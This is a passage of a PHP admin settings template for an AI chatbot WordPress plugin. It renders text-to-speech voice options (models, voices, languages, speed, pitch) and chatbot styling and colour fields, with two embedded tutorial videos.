placeholder="0.75"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Boosting voice clarity and target speaker similarity is achieved by high enhancement; however, very high values can produce artifacts, so it's essential to find the optimal setting. The default value is 0.75", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Similarity Boost:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="0.01" id="voice_similarity_boost" name="aiomatic_Chatbot_Settings[voice_similarity_boost]" class="cr_width_full" value="<?php echo esc_html($voice_similarity_boost);?>" placeholder="0.75"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Boost the characteristics of the voice. Default is disabled.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Style Exaggeration:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="0.01" id="voice_style" name="aiomatic_Chatbot_Settings[voice_style]" class="cr_width_full" value="<?php echo esc_html($voice_style);?>" placeholder="Style exaggeration"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Boost the similarity of the synthesized speech and the voice at the cost of some generation speed.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Speaker Boost:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="speaker_boost" name="aiomatic_Chatbot_Settings[speaker_boost]"<?php if ($speaker_boost == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model to be used when generating the voices.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice AI Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="open_model_id" name="aiomatic_Chatbot_Settings[open_model_id]" > <?php echo '<option' . ($open_model_id == 'tts-1' ? ' selected': '') . ' value="tts-1">tts-1</option>'; echo '<option' . ($open_model_id == 'tts-1-hd' ? ' selected': '') . ' value="tts-1-hd">tts-1-hd</option>'; ?> </select> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the voice to be used when generating the text to speech.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Voice Selector:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="open_voice" name="aiomatic_Chatbot_Settings[open_voice]" > <?php echo '<option' . ($open_voice == 'alloy' ? ' selected': '') . ' value="alloy">alloy</option>'; echo '<option' . ($open_voice == 'echo' ? ' selected': '') . ' value="echo">echo</option>'; echo '<option' . ($open_voice == 'fable' ? ' selected': '') . ' value="fable">fable</option>'; echo '<option' . ($open_voice == 'nova' ? ' selected': '') . ' value="nova">nova</option>'; echo '<option' . ($open_voice == 'onyx' ? ' selected': '') . ' value="onyx">onyx</option>'; echo '<option' . ($open_voice == 'shimmer' ? ' selected': '') . ' value="shimmer">shimmer</option>'; ?> </select> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the output format to be used when generating the text to speech.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Voice Output Format:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="open_format" name="aiomatic_Chatbot_Settings[open_format]" > <?php echo '<option' . ($open_format == 'mp3' ? ' selected': '') . ' value="mp3">mp3</option>'; echo '<option' . ($open_format == 'opus' ? ' selected': '') . ' value="opus">opus</option>'; echo '<option' . ($open_format == 'aac' ? ' selected': '') . ' value="aac">aac</option>'; echo '<option' . ($open_format == 'flac' ? ' selected': '') . ' value="flac">flac</option>'; ?> </select> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice speed of the chosen voice. The default value is 1. Min: 0.25, max: 4.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Stability:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0.25" step="0.01" max="4" id="open_speed" name="aiomatic_Chatbot_Settings[open_speed]" class="cr_width_full" value="<?php echo esc_html($open_speed);?>" placeholder="1"> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the language of the chosen voice.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Language:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="voice_language" name="aiomatic_Chatbot_Settings[voice_language]" > <?php $gvlanguages = array( 'af-ZA' => 'Afrikaans (South Africa)', 'ar-XA' => 'Arabic, multi-region', 'id-ID' => 'Indonesian (Indonesia)', 'ms-MY' => 'Malay (Malaysia)', 'ca-ES' => 'Catalan (Spain)', 'da-DK' => 'Danish (Denmark)', 'de-DE' => 'German (Germany)', 'en-AU' => 'English (Australia)', 'en-GB' => 'English (Great Britain)', 'en-IN' => 'English (India)', 'en-US' => 'English (United States)', 'es-ES' => 'Spanish (Spain)', 'es-US' => 'Spanish (United States)', 'eu-ES' => 'Basque (Spain)', 'fil-PH' => 'Filipino (Philippines)', 'fr-CA' => 'French (Canada)', 'fr-FR' => 'French (France)', 'gl-ES' => 'Galician (Spain)', 'it-IT' => 'Italian (Italy)', 'lv-LV' => 'Latvian (Latvia)', 'lt-LT' => 'Lithuanian (Lithuania)', 'hu-HU' => 'Hungarian (Hungary)', 'nl-NL' => 'Dutch (Netherlands)', 'nb-NO' => 'Norwegian BokmÃ¥l (Norway)', 'pl-PL' => 'Polish (Poland)', 'pt-BR' => 'Portuguese (Brazil)', 'pt-PT' => 'Portuguese (Portugal)', 'ro-RO' => 'Romanian (Romania)', 'sk-SK' => 'Slovak (Slovakia)', 'fi-FI' => 'Finnish (Finland)', 'sv-SE' => 'Swedish (Sweden)', 'vi-VN' => 'Vietnamese (Vietnam)', 'tr-TR' => 'Turkish (Turkey)', 'is-IS' => 'Icelandic (Iceland)', 'cs-CZ' => 'Czech (Czech Republic)', 'el-GR' => 'Greek (Greece)', 'bg-BG' => 'Bulgarian (Bulgaria)', 'ru-RU' => 'Russian (Russia)', 'sr-RS' => 'Serbian (Serbia)', 'uk-UA' => 'Ukrainian (Ukraine)', 'he-IL' => 'Hebrew (Israel)', 'mr-IN' => 'Marathi (India)', 'hi-IN' => 'Hindi (India)', 'bn-IN' => 'Bengali (India)', 'gu-IN' => 'Gujarati (India)', 'ta-IN' => 'Tamil (India)', 'te-IN' => 'Telugu (India)', 'kn-IN' => 'Kannada (India)', 'ml-IN' => 'Malayalam (India)', 'th-TH' => 'Thai (Thailand)', 'cmn-TW' => 'Mandarin (Taiwan)', 'yue-HK' => 'Cantonese (Hong Kong)', 'ja-JP' => 'Japanese (Japan)', 'cmn-CN' => 'Mandarin (Mainland China)', 'ko-KR' => 'Korean (South Korea)' ); foreach($gvlanguages as $key => $lang) { echo '<option' . ($voice_language == esc_attr($key) ? ' selected': '') . ' value="'.esc_attr($key).'">'.esc_html($lang).'</option>'; } ?> </select> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the name of the chosen voice.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Name:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="google_voice" name="aiomatic_Chatbot_Settings[google_voice]" > <?php if (!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '') { $google_voices = false; } else { $google_voices = aiomatic_get_google_voices($voice_language); } if($google_voices === false) { echo '<option value="" disabled>'.esc_html__("Failed to list voices!", 'aiomatic-automatic-ai-content-writer').'</option>'; } else { foreach($google_voices as $key => $voice) { echo '<option' . ($google_voice == esc_attr($voice['name']) ? ' selected': '') . ' value="'.esc_attr($voice['name']).'">'.esc_html($voice['name']).'</option>'; } } ?> </select> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Audio Device Profile of the chosen voice.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Audio Device Profile:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="audio_profile" name="aiomatic_Chatbot_Settings[audio_profile]" > <?php $gvprofiles = array( '' => esc_html__('Default','aiomatic-automatic-ai-content-writer'), 'wearable-class-device' => esc_html__('Smart watch or wearable','aiomatic-automatic-ai-content-writer'), 'handset-class-device' => esc_html__('Smartphone','aiomatic-automatic-ai-content-writer'), 'headphone-class-device' => esc_html__('Headphones or earbuds','aiomatic-automatic-ai-content-writer'), 'small-bluetooth-speaker-class-device' => esc_html__('Small home speaker','aiomatic-automatic-ai-content-writer'), 'medium-bluetooth-speaker-class-device' => esc_html__('Smart home speaker','aiomatic-automatic-ai-content-writer'), 'large-home-entertainment-class-device' => esc_html__('Home entertainment system or smart TV','aiomatic-automatic-ai-content-writer'), 'large-automotive-class-device' => esc_html__('Car speaker','aiomatic-automatic-ai-content-writer'), 'telephony-class-application' => esc_html__('Interactive Voice Response (IVR) system','aiomatic-automatic-ai-content-writer') ); foreach($gvprofiles as $key => $val) { echo '<option' . ($audio_profile == esc_attr($key) ? ' selected': '') . ' value="'.esc_attr($key).'">'.esc_html($val).'</option>'; } ?> </select> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice Speed of the chosen voice. Speaking rate/speed, in the range [0.25, 4.0]. 1.0 is the normal native speed supported by the specific voice. 2.0 is twice as fast, and 0.5 is half as fast. If unset(0.0), defaults to the native 1.0 speed. Any other values < 0.25 or > 4.0 will return an error.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Speed:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0.25" max="4" step="0.01" id="voice_speed" name="aiomatic_Chatbot_Settings[voice_speed]" class="cr_width_full" value="<?php echo esc_html($voice_speed);?>" placeholder="Voice speed"> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range [-20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 means decrease 20 semitones from the original pitch.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Pitch:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="-20" step="0.1" max="20" id="voice_pitch" name="aiomatic_Chatbot_Settings[voice_pitch]" class="cr_width_full" value="<?php echo esc_html($voice_pitch);?>" placeholder="Voice pitch"> </div> </td></tr><tr><td colspan="2"> <h2><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/OwCsRmsfS-0" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("D-ID Streaming Video Update:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/oaquPhw3GrQ" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> <?php } ?> </table> </div> <div id="tab-1" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Chatbot Default Styling Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot header.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Chatbot Header:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_header" name="aiomatic_Chatbot_Settings[show_header]" onchange="headerChanged();" > <?php echo '<option'.($show_header == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_header == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Chat Log TXT or PDF File Download Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Chat Log File Download Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_dltxt" name="aiomatic_Chatbot_Settings[show_dltxt]" onchange="txtbutChanged();" > <?php echo '<option'.($show_dltxt == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_dltxt == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Text-To-Speech Mute Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Text-To-Speech Mute Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select <?php if (!isset($aiomatic_Chatbot_Settings['chatbot_text_speech']) || $aiomatic_Chatbot_Settings['chatbot_text_speech'] == 'off' || $aiomatic_Chatbot_Settings['chatbot_text_speech'] == '' ) { echo ' disabled title="' . esc_html__("Text-To-Speech feature needs to be active for this feature to work", 'aiomatic-automatic-ai-content-writer') . '"'; } ?> id="show_mute" name="aiomatic_Chatbot_Settings[show_mute]" onchange="mutebutChanged();" > <?php echo '<option'.($show_mute == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_mute == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Disable Internet Access Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Disable Internet Access Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select <?php if(!isset($aiomatic_Main_Settings['internet_chat_short']) || $aiomatic_Main_Settings['internet_chat_short'] != 'on') { echo ' disabled title="' . esc_html__("You need to enable Internet Access For Chatbots for this to work", 'aiomatic-automatic-ai-content-writer') . '"'; } ?> id="show_internet" name="aiomatic_Chatbot_Settings[show_internet]" onchange="internetChanged();" > <?php echo '<option'.($show_internet == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_internet == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Chat Clearing Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Chat Clearing Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_clear" name="aiomatic_Chatbot_Settings[show_clear]" onchange="clearbutChanged();" > <?php echo '<option'.($show_clear == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_clear == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the chat font size of the chatbot form. Default is 1em", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Font Size:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="font_size" name="aiomatic_Chatbot_Settings[font_size]" onchange="fontSizeChanged();" > <?php echo '<option'.($font_size == '1em' ? ' selected': '').' value="1em">1em</option>'; for($i = 10; $i <= 30; $i++){ echo '<option'.($font_size == $i . 'px' ? ' selected': '').' value="'.esc_html($i).'px">'.esc_html($i).'px</option>'; } ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the width of the chatbot form. For full width, you can set 100% (default value). You can also set values in pixels, like: 400px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Form Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="width" name="aiomatic_Chatbot_Settings[width]" value="<?php echo esc_html($width);?>" placeholder="100%" onchange="widthChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the height of the chatbot form. Default is auto. You can set values in pixels, like: 400px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Form Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="height" name="aiomatic_Chatbot_Settings[height]" value="<?php echo esc_html($height);?>" placeholder="auto" onchange="heightChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Form Min-Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="minheight" name="aiomatic_Chatbot_Settings[minheight]" value="<?php echo esc_html($minheight);?>" placeholder="250px" onchange="minheightChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the width of the chatbot bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Bubble Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="bubble_width" name="aiomatic_Chatbot_Settings[bubble_width]" class="cr_width_full" onchange="bubbleChanged()"> <?php echo '<option' . (($bubble_width == 'full' || empty($bubble_width)) ? ' selected': '') . ' value="full">' . esc_html__("Full Width", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_width == 'auto' ? ' selected': '') . ' value="auto">' . esc_html__("Resize To Text Width", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the alignment of the chatbot bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Avatar/Chat Bubble Alignment:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="bubble_alignment" name="aiomatic_Chatbot_Settings[bubble_alignment]" class="cr_width_full" onchange="bubbleAlignChanged()"> <?php echo '<option' . (($bubble_alignment == 'left' || empty($bubble_alignment)) ? ' selected': '') . ' value="left">' . esc_html__("Left", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_alignment == 'right' ? ' selected': '') . ' value="right">' . esc_html__("Right", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_alignment == 'center' ? ' selected': '') . ' value="center">' . esc_html__("Center", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the alignment of the user bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Avatar/Chat Bubble Alignment:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="bubble_user_alignment" name="aiomatic_Chatbot_Settings[bubble_user_alignment]" class="cr_width_full" onchange="bubbleUserAlignChanged()"> <?php echo '<option' . (($bubble_user_alignment == 'left' || empty($bubble_user_alignment)) ? ' selected': '') . ' value="left">' . esc_html__("Left", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_user_alignment == 'right' ? ' selected': '') . ' value="right">' . esc_html__("Right", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_user_alignment == 'center' ? ' selected': '') . ' value="center">' . esc_html__("Center", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot avatar in the conversation?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show AI Chatbot Avatar In Conversation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_ai_avatar" name="aiomatic_Chatbot_Settings[show_ai_avatar]" class="cr_width_full" onchange="showAiAvatarChanged();" > <?php echo '<option'.($show_ai_avatar == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_ai_avatar == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot avatar in the conversation?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show User Chatbot Avatar In Conversation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_user_avatar" name="aiomatic_Chatbot_Settings[show_user_avatar]" class="cr_width_full" onchange="showUserAvatarChanged();" > <?php echo '<option'.($show_user_avatar == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_user_avatar == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set your own custom header text for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Custom Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $settings = array( 'textarea_name' => 'aiomatic_Chatbot_Settings[custom_header]', 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_height' => 80, 'teeny' => false ); wp_editor( $custom_header, 'custom_header', $settings ); ?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set your own custom footer text for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Custom Footer Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $settings = array( 'textarea_name' => 'aiomatic_Chatbot_Settings[custom_footer]', 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_height' => 80, 'teeny' => false ); wp_editor( $custom_footer, 'custom_footer', $settings ); ?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set your own custom CSS code for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Custom CSS Code:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $settings = array( 'textarea_name' => 'aiomatic_Chatbot_Settings[custom_css]', 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_height' => 80, 'teeny' => false ); wp_editor( $custom_css, 'custom_css', $settings ); ?> </div> </td></tr> <tr><td colspan="2"><h2><?php echo esc_html__("AI Chatbot Coloring Options:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the background color of the chatbot form. Default is #f7f7f9", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="general_background" name="aiomatic_Chatbot_Settings[general_background]" value="<?php echo esc_html($general_background);?>" onchange="backgroundChanged2()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the background color of the chatbot form. Default is #f7f7f9", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="background" name="aiomatic_Chatbot_Settings[background]" value="<?php echo esc_html($background);?>" onchange="backgroundChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the user chatbot form. Default is white", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Font Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="user_font_color" name="aiomatic_Chatbot_Settings[user_font_color]" value="<?php echo esc_html($user_font_color);?>" onchange="userfontcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the user baloon chatbot form. Default is #0084ff", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Baloon Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="user_background_color" name="aiomatic_Chatbot_Settings[user_background_color]" value="<?php echo esc_html($user_background_color);?>" onchange="userbackgroundcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the AI chatbot form. Default is black", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Font Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="ai_font_color" name="aiomatic_Chatbot_Settings[ai_font_color]" value="<?php echo esc_html($ai_font_color);?>" onchange="aifontcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the AI baloon chatbot form. Default is #f0f0f0", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Baloon Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="ai_background_color" name="aiomatic_Chatbot_Settings[ai_background_color]" value="<?php echo esc_html($ai_background_color);?>" onchange="aibackgroundcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the border color for the input field. Default is #e1e3e6", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Border Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="input_border_color" name="aiomatic_Chatbot_Settings[input_border_color]" value="<?php echo esc_html($input_border_color);?>" onchange="bordercolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box 